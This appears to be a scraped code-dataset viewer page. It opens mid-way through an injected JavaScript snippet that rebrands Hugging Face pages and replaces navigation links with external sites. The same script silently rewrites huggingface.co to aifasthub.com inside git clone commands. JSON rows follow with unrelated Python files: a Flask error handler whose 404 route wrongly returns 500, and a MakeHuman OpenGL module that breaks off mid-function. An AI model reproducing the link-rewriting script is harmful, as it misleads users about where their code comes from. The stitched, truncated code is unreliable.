{ // 获取包含Hugging Face文本的span元素 const spans = link.querySelectorAll('span.whitespace-nowrap, span.hidden.whitespace-nowrap'); spans.forEach(span => { if (span.textContent && span.textContent.trim().match(/Hugging\s*Face/i)) { span.textContent = 'AI快站'; } }); }); // 替换logo图片的alt属性 document.querySelectorAll('img[alt*="Hugging"], img[alt*="Face"]').forEach(img => { if (img.alt.match(/Hugging\s*Face/i)) { img.alt = 'AI快站 logo'; } }); } // 替换导航栏中的链接 function replaceNavigationLinks() { // 已替换标记,防止重复运行 if (window._navLinksReplaced) { return; } // 已经替换过的链接集合,防止重复替换 const replacedLinks = new Set(); // 只在导航栏区域查找和替换链接 const headerArea = document.querySelector('header') || document.querySelector('nav'); if (!headerArea) { return; } // 在导航区域内查找链接 const navLinks = headerArea.querySelectorAll('a'); navLinks.forEach(link => { // 如果已经替换过,跳过 if (replacedLinks.has(link)) return; const linkText = link.textContent.trim(); const linkHref = link.getAttribute('href') || ''; // 替换Spaces链接 - 仅替换一次 if ( (linkHref.includes('/spaces') || linkHref === '/spaces' || linkText === 'Spaces' || linkText.match(/^s*Spacess*$/i)) && linkText !== 'PDF TO Markdown' && linkText !== 'PDF TO Markdown' ) { link.textContent = 'PDF TO Markdown'; link.href = 'https://fast360.xyz'; link.setAttribute('target', '_blank'); link.setAttribute('rel', 'noopener noreferrer'); replacedLinks.add(link); } // 删除Posts链接 else if ( (linkHref.includes('/posts') || linkHref === '/posts' || linkText === 'Posts' || linkText.match(/^s*Postss*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } // 替换Docs链接 - 仅替换一次 else if ( (linkHref.includes('/docs') || linkHref === '/docs' || linkText === 'Docs' || linkText.match(/^s*Docss*$/i)) && linkText !== 'Voice Cloning' ) { link.textContent = 'Voice Cloning'; link.href = 'https://vibevoice.info/'; replacedLinks.add(link); } // 删除Enterprise链接 else if ( (linkHref.includes('/enterprise') || linkHref === '/enterprise' || linkText === 'Enterprise' || linkText.match(/^s*Enterprises*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } }); // 查找可能嵌套的Spaces和Posts文本 const textNodes = []; function findTextNodes(element) { if (element.nodeType === Node.TEXT_NODE) { const text = element.textContent.trim(); if (text === 'Spaces' || text === 'Posts' || text === 'Enterprise') { textNodes.push(element); } } else { for (const child of element.childNodes) { findTextNodes(child); } } } // 只在导航区域内查找文本节点 findTextNodes(headerArea); // 替换找到的文本节点 textNodes.forEach(node => { const text = node.textContent.trim(); if (text === 'Spaces') { node.textContent = node.textContent.replace(/Spaces/g, 'PDF TO Markdown'); } else if (text === 'Posts') { // 删除Posts文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } else if (text === 'Enterprise') { // 删除Enterprise文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } }); // 标记已替换完成 window._navLinksReplaced = true; } // 替换代码区域中的域名 function replaceCodeDomains() { // 特别处理span.hljs-string和span.njs-string元素 document.querySelectorAll('span.hljs-string, span.njs-string, span[class*="hljs-string"], span[class*="njs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换hljs-string类的span中的域名(移除多余的转义符号) document.querySelectorAll('span.hljs-string, span[class*="hljs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换pre和code标签中包含git clone命令的域名 document.querySelectorAll('pre, code').forEach(element => { if (element.textContent && element.textContent.includes('git clone')) { const text = element.innerHTML; if (text.includes('huggingface.co')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 处理特定的命令行示例 document.querySelectorAll('pre, code').forEach(element => { const text = element.innerHTML; if (text.includes('huggingface.co')) { // 针对git clone命令的专门处理 if (text.includes('git clone') || text.includes('GIT_LFS_SKIP_SMUDGE=1')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 特别处理模型下载页面上的代码片段 document.querySelectorAll('.flex.border-t, .svelte_hydrator, .inline-block').forEach(container => { const content = container.innerHTML; if (content && content.includes('huggingface.co')) { container.innerHTML = content.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 特别处理模型仓库克隆对话框中的代码片段 try { // 查找包含"Clone this model repository"标题的对话框 const cloneDialog = document.querySelector('.svelte_hydration_boundary, [data-target="MainHeader"]'); if (cloneDialog) { // 查找对话框中所有的代码片段和命令示例 const codeElements = cloneDialog.querySelectorAll('pre, code, span'); codeElements.forEach(element => { if (element.textContent && element.textContent.includes('huggingface.co')) { if (element.innerHTML.includes('huggingface.co')) { element.innerHTML = element.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { element.textContent = element.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); } // 更精确地定位克隆命令中的域名 document.querySelectorAll('[data-target]').forEach(container => { const codeBlocks = container.querySelectorAll('pre, code, span.hljs-string'); codeBlocks.forEach(block => { if (block.textContent && block.textContent.includes('huggingface.co')) { if (block.innerHTML.includes('huggingface.co')) { block.innerHTML = block.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { block.textContent = block.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); }); } catch (e) { // 错误处理但不打印日志 } } // 当DOM加载完成后执行替换 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', () => { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); }); } else { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); } // 增加一个MutationObserver来处理可能的动态元素加载 const observer = new MutationObserver(mutations => { // 检查是否导航区域有变化 const hasNavChanges = mutations.some(mutation => { // 检查是否存在header或nav元素变化 return Array.from(mutation.addedNodes).some(node => { if (node.nodeType === Node.ELEMENT_NODE) { // 检查是否是导航元素或其子元素 if (node.tagName === 'HEADER' || node.tagName === 'NAV' || node.querySelector('header, nav')) { return true; } // 检查是否在导航元素内部 let parent = node.parentElement; while (parent) { if (parent.tagName === 'HEADER' || parent.tagName === 'NAV') { return true; } parent = parent.parentElement; } } return false; }); }); // 只在导航区域有变化时执行替换 if (hasNavChanges) { // 重置替换状态,允许再次替换 window._navLinksReplaced = false; replaceHeaderBranding(); replaceNavigationLinks(); } }); // 开始观察document.body的变化,包括子节点 if (document.body) { observer.observe(document.body, { childList: true, subtree: true }); } else { document.addEventListener('DOMContentLoaded', () => { observer.observe(document.body, { childList: true, subtree: true }); }); } })(); \n\n\"\"\"\nwith open(filename + '.html', 'w') as f:\n f.write(html)\n\nprint filename + \".html has been created.\"\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":604,"cells":{"__id__":{"kind":"number","value":14680198257999,"string":"14,680,198,257,999"},"blob_id":{"kind":"string","value":"6ee7d2a7e9dc91d78e4d786e58fd0b99a45b7ea5"},"directory_id":{"kind":"string","value":"afca793edca7ce34533409e528cddc6d3e3479c8"},"path":{"kind":"string","value":"/app/error_handlers.py"},"content_id":{"kind":"string","value":"18f88ee008d8d58be84277dfe329c0eced64c1ca"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"dogukantufekci/thankspress"},"repo_url":{"kind":"string","value":"https://github.com/dogukantufekci/thankspress"},"snapshot_id":{"kind":"string","value":"3c65b2ae11d6871d9c86709528b2e186ee3a45f7"},"revision_id":{"kind":"string","value":"9deb6ead68b2daca4fff6f42204f1623aa4e4891"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-10T13:03:47.890819","string":"2021-01-10T13:03:47.890819"},"revision_date":{"kind":"timestamp","value":"2013-05-23T02:58:50","string":"2013-05-23T02:58:50"},"committer_date":{"kind":"timestamp","value":"2013-05-23T02:58:50","string":"2013-05-23T02:58:50"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from app import app, db\nfrom flask import render_template\n\n@app.errorhandler(404)\ndef internal_error(error):\n return render_template('404.html'), 500\n\n@app.errorhandler(500)\ndef internal_error(error):\n db.session.rollback()\n return render_template('500.html'), 500"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":605,"cells":{"__id__":{"kind":"number","value":19052474940963,"string":"19,052,474,940,963"},"blob_id":{"kind":"string","value":"cccecdeeb6d7e38ef33f1076152196a55530ea2f"},"directory_id":{"kind":"string","value":"52a7b47662d1cebbdbe82b1bc3128b0017bbfea2"},"path":{"kind":"string","value":"/lib/glmodule.py"},"content_id":{"kind":"string","value":"1cea21dce640d2ffbf7adf84e84f79e701a9f017"},"detected_licenses":{"kind":"list like","value":["CC0-1.0","GPL-1.0-or-later","LicenseRef-scancode-generic-exception","LicenseRef-scancode-unknown-license-reference","AGPL-3.0-or-later","AGPL-3.0-only"],"string":"[\n \"CC0-1.0\",\n \"GPL-1.0-or-later\",\n \"LicenseRef-scancode-generic-exception\",\n \"LicenseRef-scancode-unknown-license-reference\",\n \"AGPL-3.0-or-later\",\n \"AGPL-3.0-only\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"BlenderCN-Org/MakeHuman"},"repo_url":{"kind":"string","value":"https://github.com/BlenderCN-Org/MakeHuman"},"snapshot_id":{"kind":"string","value":"33380a7fbdfe9e2d45d111b3801f9b19a88da58e"},"revision_id":{"kind":"string","value":"108191b28abb493f3c7256747cf7b575e467d36a"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-05-23T21:02:57.147838","string":"2020-05-23T21:02:57.147838"},"revision_date":{"kind":"timestamp","value":"2013-07-31T18:37:50","string":"2013-07-31T18:37:50"},"committer_date":{"kind":"timestamp","value":"2013-07-31T18:37:50","string":"2013-07-31T18:37:50"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\" \n**Project Name:** MakeHuman\n\n**Product Home Page:** http://www.makehuman.org/\n\n**Code Home Page:** http://code.google.com/p/makehuman/\n\n**Authors:** Glynn Clements\n\n**Copyright(c):** MakeHuman Team 2001-2013\n\n**Licensing:** AGPL3 (see also http://www.makehuman.org/node/318)\n\n**Coding Standards:** See http://www.makehuman.org/node/165\n\nAbstract\n--------\n\nTODO\n\"\"\"\n\nimport sys\nimport math\nimport atexit\nimport numpy as np\n\nimport OpenGL\nOpenGL.ERROR_CHECKING = False\nOpenGL.ERROR_ON_COPY = True\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\nfrom OpenGL.GL.framebufferobjects import *\nfrom OpenGL.GL.ARB.transpose_matrix import *\nfrom OpenGL.GL.ARB.multisample import *\nfrom OpenGL.GL.ARB.texture_multisample import *\n\nfrom core import G\nfrom image import Image\nimport matrix\nimport debugdump\nimport log\nfrom texture import Texture\nfrom shader import Shader\nimport profiler\n\ng_primitiveMap = [GL_POINTS, GL_LINES, GL_TRIANGLES, GL_QUADS]\n\ndef queryDepth(sx, sy):\n sz = np.zeros((1,), dtype=np.float32)\n glReadPixels(sx, G.windowHeight - sy, 1, 1, GL_DEPTH_COMPONENT, GL_FLOAT, sz)\n return sz[0]\n\ndef grabScreen(x, y, width, height, filename = None):\n if width <= 0 or height <= 0:\n raise RuntimeError(\"width or height is 0\")\n\n log.debug('grabScreen: %d %d %d %d', x, y, width, height)\n\n # Draw before grabbing, to make sure we grab a rendering and not a picking buffer\n draw()\n\n sx0 = x\n sy0 = G.windowHeight - y - height\n sx1 = sx0 + width\n sy1 = sy0 + height\n\n sx0 = max(sx0, 0)\n sx1 = min(sx1, G.windowWidth)\n sy0 = max(sy0, 0)\n sy1 = min(sy1, G.windowHeight)\n\n rwidth = sx1 - sx0\n rwidth -= rwidth % 4\n sx1 = sx0 + rwidth\n rheight = sy1 - sy0\n\n surface = np.empty((rheight, rwidth, 3), dtype = np.uint8)\n\n log.debug('glReadPixels: %d %d %d %d', sx0, sy0, rwidth, rheight)\n\n glReadPixels(sx0, sy0, rwidth, rheight, GL_RGB, GL_UNSIGNED_BYTE, surface)\n\n if width != rwidth or height != rheight:\n surf = np.zeros((height, width, 3), dtype = np.uint8) + 127\n surf[...] = surface[:1,:1,:]\n dx0 = (width - rwidth) / 2\n dy0 = (height - rheight) / 2\n dx1 = dx0 + rwidth\n dy1 = dy0 + rheight\n surf[dy0:dy1,dx0:dx1] = surface\n surface = surf\n\n surface = np.ascontiguousarray(surface[::-1,:,:])\n surface = Image(data = surface)\n\n if filename is not None:\n surface.save(filename)\n\n return surface\n\npickingBuffer = None\n\ndef updatePickingBuffer():\n width = G.windowWidth\n height = G.windowHeight\n rwidth = (width + 3) / 4 * 4\n\n # Resize the buffer in case the window size has changed\n global pickingBuffer\n if pickingBuffer is None or pickingBuffer.shape != (height, rwidth, 3):\n pickingBuffer = np.empty((height, rwidth, 3), dtype = np.uint8)\n\n # Turn off lighting\n glDisable(GL_LIGHTING)\n\n # Turn off antialiasing\n glDisable(GL_BLEND)\n if have_multisample:\n glDisable(GL_MULTISAMPLE)\n\n # Clear screen\n glClearColor(0.0, 0.0, 0.0, 0.0)\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\n drawMeshes(True)\n\n # Make sure the data is 1 byte aligned\n glPixelStorei(GL_PACK_ALIGNMENT, 1)\n #glFlush()\n #glFinish()\n glReadPixels(0, 0, rwidth, height, GL_RGB, GL_UNSIGNED_BYTE, pickingBuffer)\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\n # Turn on antialiasing\n glEnable(GL_BLEND)\n if have_multisample:\n glEnable(GL_MULTISAMPLE)\n\n # restore lighting\n glEnable(GL_LIGHTING)\n\n # draw()\n\ndef getPickedColor(x, y):\n y = G.windowHeight - y\n\n if y < 0 or y >= G.windowHeight or x < 0 or x >= G.windowWidth:\n G.color_picked = (0, 0, 0)\n return\n\n if pickingBuffer is None:\n updatePickingBuffer()\n\n G.color_picked = tuple(pickingBuffer[y,x,:])\n\ndef reshape(w, h):\n try:\n # Prevent a division by zero when minimising the window\n if h == 0:\n h = 1\n # Set the drawable region of the window\n glViewport(0, 0, w, h)\n # set up the projection matrix\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n\n # go back to modelview matrix so we can move the objects about\n glMatrixMode(GL_MODELVIEW)\n\n updatePickingBuffer()\n except Exception:\n log.error('gl.reshape', exc_info=True)\n\ndef drawBegin():\n # clear the screen & depth buffer\n glClearColor(G.clearColor[0], G.clearColor[1], G.clearColor[2], G.clearColor[3])\n glClear(GL_DEPTH_BUFFER_BIT | GL_COLOR_BUFFER_BIT)\n\ndef drawEnd():\n G.swapBuffers()\n\nhave_multisample = None\n\ndef OnInit():\n def A(*args):\n return np.array(list(args), dtype=np.float32)\n\n try:\n # Start with writing relevant info to the debug dump in case stuff goes\n # wrong at a later time\n debugdump.dump.appendGL()\n debugdump.dump.appendMessage(\"GL.VENDOR: \" + glGetString(GL_VENDOR))\n debugdump.dump.appendMessage(\"GL.RENDERER: \" + glGetString(GL_RENDERER))\n debugdump.dump.appendMessage(\"GL.VERSION: \" + glGetString(GL_VERSION))\n except Exception as e:\n log.error(\"Failed to GL debug info to debug dump: %s\", format(str(e)))\n\n global have_multisample\n have_multisample = glInitMultisampleARB()\n\n # Lights and materials\n lightPos = A( -10.99, 20.0, 20.0, 1.0) # Light - Position\n ambientLight = A(0.0, 0.0, 0.0, 1.0) # Light - Ambient Values\n diffuseLight = A(1.0, 1.0, 1.0, 1.0) # Light - Diffuse Values\n specularLight = A(1.0, 1.0, 1.0, 1.0) # Light - Specular Values\n\n MatAmb = A(0.11, 0.11, 0.11, 1.0) # Material - Ambient Values\n MatDif = A(1.0, 1.0, 1.0, 1.0) # Material - Diffuse Values\n MatSpc = A(0.2, 0.2, 0.2, 1.0) # Material - Specular Values\n MatShn = A(10.0,) # Material - Shininess\n MatEms = A(0.1, 0.05, 0.0, 1.0) # Material - Emission Values\n\n glEnable(GL_DEPTH_TEST) # Hidden surface removal\n # glEnable(GL_CULL_FACE) # Inside face removal\n # glEnable(GL_ALPHA_TEST)\n # glAlphaFunc(GL_GREATER, 0.0)\n glDisable(GL_DITHER)\n glEnable(GL_LIGHTING) # Enable lighting\n glLightfv(GL_LIGHT0, GL_AMBIENT, ambientLight)\n glLightfv(GL_LIGHT0, GL_DIFFUSE, diffuseLight)\n glLightfv(GL_LIGHT0, GL_SPECULAR, specularLight)\n glLightfv(GL_LIGHT0, GL_POSITION, lightPos)\n glLightModeli(GL_LIGHT_MODEL_COLOR_CONTROL, GL_SEPARATE_SPECULAR_COLOR) # If we enable this, we have stronger specular highlights\n glMaterialfv(GL_FRONT, GL_AMBIENT, MatAmb) # Set Material Ambience\n glMaterialfv(GL_FRONT, GL_DIFFUSE, MatDif) # Set Material Diffuse\n glMaterialfv(GL_FRONT, GL_SPECULAR, MatSpc) # Set Material Specular\n glMaterialfv(GL_FRONT, GL_SHININESS, MatShn) # Set Material Shininess\n # glMaterialfv(GL_FRONT, GL_EMISSION, MatEms) # Set Material Emission\n glEnable(GL_LIGHT0)\n glEnable(GL_COLOR_MATERIAL)\n glColorMaterial(GL_FRONT, GL_AMBIENT_AND_DIFFUSE)\n # glEnable(GL_TEXTURE_2D)\n glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE)\n glEnable(GL_BLEND)\n glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)\n # Activate and specify pointers to vertex and normal array\n glEnableClientState(GL_NORMAL_ARRAY)\n glEnableClientState(GL_COLOR_ARRAY)\n glEnableClientState(GL_VERTEX_ARRAY)\n if have_multisample:\n glEnable(GL_MULTISAMPLE)\n\ndef OnExit():\n # Deactivate the pointers to vertex and normal array\n glDisableClientState(GL_VERTEX_ARRAY)\n glDisableClientState(GL_NORMAL_ARRAY)\n # glDisableClientState(GL_TEXTURE_COORD_ARRAY)\n glDisableClientState(GL_COLOR_ARRAY)\n log.message(\"Exit from event loop\\n\")\n\ndef cameraPosition(camera, eye):\n proj, mv = camera.getMatrices(eye)\n glMatrixMode(GL_PROJECTION)\n glLoadMatrixd(np.ascontiguousarray(proj.T))\n glMatrixMode(GL_MODELVIEW)\n glLoadMatrixd(np.ascontiguousarray(mv.T))\n\ndef transformObject(obj):\n glMultMatrixd(np.ascontiguousarray(obj.transform.T))\n\ndef drawMesh(obj):\n if not obj.visibility:\n return\n\n glDepthFunc(GL_LEQUAL)\n\n # Transform the current object\n glPushMatrix()\n transformObject(obj)\n\n if obj.texture and obj.solid:\n glEnable(GL_TEXTURE_2D)\n glEnableClientState(GL_TEXTURE_COORD_ARRAY)\n glBindTexture(GL_TEXTURE_2D, obj.texture)\n glTexCoordPointer(2, GL_FLOAT, 0, obj.UVs)\n\n if obj.nTransparentPrimitives:\n obj.sortFaces()\n\n # Fill the array pointers with object mesh data\n glVertexPointer(3, GL_FLOAT, 0, obj.verts)\n glNormalPointer(GL_FLOAT, 0, obj.norms)\n glColorPointer(4, GL_UNSIGNED_BYTE, 0, obj.color)\n\n # Disable lighting if the object is shadeless\n if obj.shadeless:\n glDisable(GL_LIGHTING)\n\n if obj.cull:\n glEnable(GL_CULL_FACE)\n glCullFace(GL_BACK if obj.cull > 0 else GL_FRONT)\n\n # Enable the shader if the driver supports it and there is a shader assigned\n if obj.shader and obj.solid and Shader.supported() and not obj.shadeless:\n glUseProgram(obj.shader)\n\n # Set custom attributes\n if obj.shaderObj.requiresVertexTangent():\n glVertexAttribPointer(obj.shaderObj.vertexTangentAttrId, 4, GL_FLOAT, GL_FALSE, 0, obj.tangents)\n glEnableVertexAttribArray(obj.shaderObj.vertexTangentAttrId)\n\n # TODO\n # This should be optimized, since we only need to do it when it's changed\n # Validation should also only be done when it is set\n if obj.shaderParameters:\n obj.shaderObj.setUniforms(obj.shaderParameters)\n\n # draw the mesh\n if not obj.solid:\n glDisableClientState(GL_COLOR_ARRAY)\n glColor3f(0.0, 0.0, 0.0)\n glPolygonMode(GL_FRONT_AND_BACK, GL_LINE)\n glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], obj.primitives.size, GL_UNSIGNED_INT, obj.primitives)\n glEnableClientState(GL_COLOR_ARRAY)\n glPolygonMode(GL_FRONT_AND_BACK, GL_FILL)\n glEnable(GL_POLYGON_OFFSET_FILL)\n glPolygonOffset(1.0, 1.0)\n glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], obj.primitives.size, GL_UNSIGNED_INT, obj.primitives)\n glDisable(GL_POLYGON_OFFSET_FILL)\n elif obj.nTransparentPrimitives:\n glDepthMask(GL_FALSE)\n glEnable(GL_ALPHA_TEST)\n glAlphaFunc(GL_GREATER, 0.0)\n glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], obj.primitives.size, GL_UNSIGNED_INT, obj.primitives)\n glDisable(GL_ALPHA_TEST)\n glDepthMask(GL_TRUE)\n elif obj.depthless:\n glDepthMask(GL_FALSE)\n glDisable(GL_DEPTH_TEST)\n glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], obj.primitives.size, GL_UNSIGNED_INT, obj.primitives)\n glEnable(GL_DEPTH_TEST)\n glDepthMask(GL_TRUE)\n else:\n glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], obj.primitives.size, GL_UNSIGNED_INT, obj.primitives)\n\n if obj.solid and not obj.nTransparentPrimitives:\n glDisableClientState(GL_COLOR_ARRAY)\n for i, (start, count) in enumerate(obj.groups):\n color = obj.gcolor(i)\n if color is None or np.all(color[:3] == 255):\n continue\n glColor4ub(*color)\n indices = obj.primitives[start:start+count,:]\n glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], indices.size, GL_UNSIGNED_INT, indices)\n glEnableClientState(GL_COLOR_ARRAY)\n\n # Disable the shader if the driver supports it and there is a shader assigned\n if obj.shader and obj.solid and Shader.supported() and not obj.shadeless:\n glUseProgram(0)\n glActiveTexture(GL_TEXTURE0)\n\n glDisable(GL_CULL_FACE)\n\n # Enable lighting if the object was shadeless\n if obj.shadeless:\n glEnable(GL_LIGHTING)\n\n if obj.texture and obj.solid:\n glDisable(GL_TEXTURE_2D)\n glDisableClientState(GL_TEXTURE_COORD_ARRAY)\n\n glPopMatrix()\n\ndef pickMesh(obj):\n if not obj.visibility:\n return\n if not obj.pickable:\n return\n\n # Transform the current object\n glPushMatrix()\n transformObject(obj)\n\n # Fill the array pointers with object mesh data\n glVertexPointer(3, GL_FLOAT, 0, obj.verts)\n glNormalPointer(GL_FLOAT, 0, obj.norms)\n\n # Use color to pick i\n glDisableClientState(GL_COLOR_ARRAY)\n\n # Disable lighting\n glDisable(GL_LIGHTING)\n\n if obj.cull:\n glEnable(GL_CULL_FACE)\n glCullFace(GL_BACK if obj.cull > 0 else GL_FRONT)\n\n # draw the meshes\n for i, (start, count) in enumerate(obj.groups):\n glColor3ub(*obj.clrid(i))\n indices = obj.primitives[start:start+count,:]\n glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], indices.size, GL_UNSIGNED_INT, indices)\n\n glDisable(GL_CULL_FACE)\n\n glEnable(GL_LIGHTING)\n glEnableClientState(GL_COLOR_ARRAY)\n\n glPopMatrix()\n\ndef drawOrPick(pickMode, obj):\n if pickMode:\n if hasattr(obj, 'pick'):\n obj.pick()\n else:\n if hasattr(obj, 'draw'):\n obj.draw()\n\n_hasRenderSkin = None\ndef hasRenderSkin():\n global _hasRenderSkin\n if _hasRenderSkin is None:\n _hasRenderSkin = all([\n bool(glGenRenderbuffers), bool(glBindRenderbuffer), bool(glRenderbufferStorage),\n bool(glGenFramebuffers), bool(glBindFramebuffer), bool(glFramebufferRenderbuffer)])\n return _hasRenderSkin\n \ndef renderSkin(dst, vertsPerPrimitive, verts, index = None, objectMatrix = None,\n texture = None, UVs = None, textureMatrix = None,\n color = None, clearColor = None):\n\n if isinstance(dst, Texture):\n glBindTexture(GL_TEXTURE_2D, dst.textureId)\n elif isinstance(dst, Image):\n dst = Texture(image = dst)\n elif isinstance(dst, tuple):\n dst = Texture(size = dst)\n else:\n raise RuntimeError('Unsupported destination: %r' % dst)\n\n width, height = dst.width, dst.height\n\n framebuffer = glGenFramebuffers(1)\n glBindFramebuffer(GL_FRAMEBUFFER, framebuffer)\n glFramebufferTexture2D(GL_DRAW_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, dst.textureId, 0)\n glFramebufferTexture2D(GL_READ_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, dst.textureId, 0)\n\n if clearColor is not None:\n glClearColor(clearColor[0], clearColor[1], clearColor[2], clearColor[3])\n glClear(GL_COLOR_BUFFER_BIT)\n\n glVertexPointer(verts.shape[-1], GL_FLOAT, 0, verts)\n\n if texture is not None and UVs is not None:\n if isinstance(texture, Image):\n tex = Texture()\n tex.loadImage(texture)\n texture = tex\n if isinstance(texture, Texture):\n texture = texture.textureId\n glEnable(GL_TEXTURE_2D)\n glEnableClientState(GL_TEXTURE_COORD_ARRAY)\n glBindTexture(GL_TEXTURE_2D, texture)\n glTexCoordPointer(UVs.shape[-1], GL_FLOAT, 0, UVs)\n\n if color is not None:\n glColorPointer(color.shape[-1], GL_UNSIGNED_BYTE, 0, color)\n glEnableClientState(GL_COLOR_ARRAY)\n else:\n glDisableClientState(GL_COLOR_ARRAY)\n glColor4f(1, 1, 1, 1)\n\n glDisableClientState(GL_NORMAL_ARRAY)\n glDisable(GL_LIGHTING)\n\n glDepthMask(GL_FALSE)\n glDisable(GL_DEPTH_TEST)\n # glDisable(GL_CULL_FACE)\n\n glPushAttrib(GL_VIEWPORT_BIT)\n glViewport(0, 0, width, height)\n\n glMatrixMode(GL_MODELVIEW)\n glPushMatrix()\n if objectMatrix is not None:\n glLoadTransposeMatrixd(objectMatrix)\n else:\n glLoadIdentity()\n\n glMatrixMode(GL_PROJECTION)\n glPushMatrix()\n glLoadIdentity()\n glOrtho(0, 1, 0, 1, -100, 100)\n\n if textureMatrix is not None:\n glMatrixMode(GL_TEXTURE)\n glPushMatrix()\n glLoadTransposeMatrixd(textureMatrix)\n\n if index is not None:\n glDrawElements(g_primitiveMap[vertsPerPrimitive-1], index.size, GL_UNSIGNED_INT, index)\n else:\n glDrawArrays(g_primitiveMap[vertsPerPrimitive-1], 0, verts[:,:,0].size)\n\n if textureMatrix is not None:\n glMatrixMode(GL_TEXTURE)\n glPopMatrix()\n\n glMatrixMode(GL_PROJECTION)\n glPopMatrix()\n\n glMatrixMode(GL_MODELVIEW)\n glPopMatrix()\n\n glPopAttrib()\n\n glEnable(GL_DEPTH_TEST)\n glDepthMask(GL_TRUE)\n\n glEnable(GL_LIGHTING)\n glEnableClientState(GL_NORMAL_ARRAY)\n\n glEnableClientState(GL_COLOR_ARRAY)\n\n glDisable(GL_TEXTURE_2D)\n glDisableClientState(GL_TEXTURE_COORD_ARRAY)\n\n surface = np.empty((height, width, 4), dtype = np.uint8)\n glReadPixels(0, 0, width, height, GL_RGBA, GL_UNSIGNED_BYTE, surface)\n surface = Image(data = np.ascontiguousarray(surface[::-1,:,:3]))\n\n glFramebufferTexture2D(GL_DRAW_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, 0, 0)\n glFramebufferTexture2D(GL_READ_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, 0, 0)\n glBindFramebuffer(GL_FRAMEBUFFER, 0)\n glDeleteFramebuffers(np.array([framebuffer]))\n\n return surface\n\ndef drawMeshes(pickMode):\n if G.world is None:\n return\n\n cameraMode = None\n # Draw all objects contained by G.world\n for obj in sorted(G.world, key = (lambda obj: obj.priority)):\n camera = G.cameras[obj.cameraMode]\n if 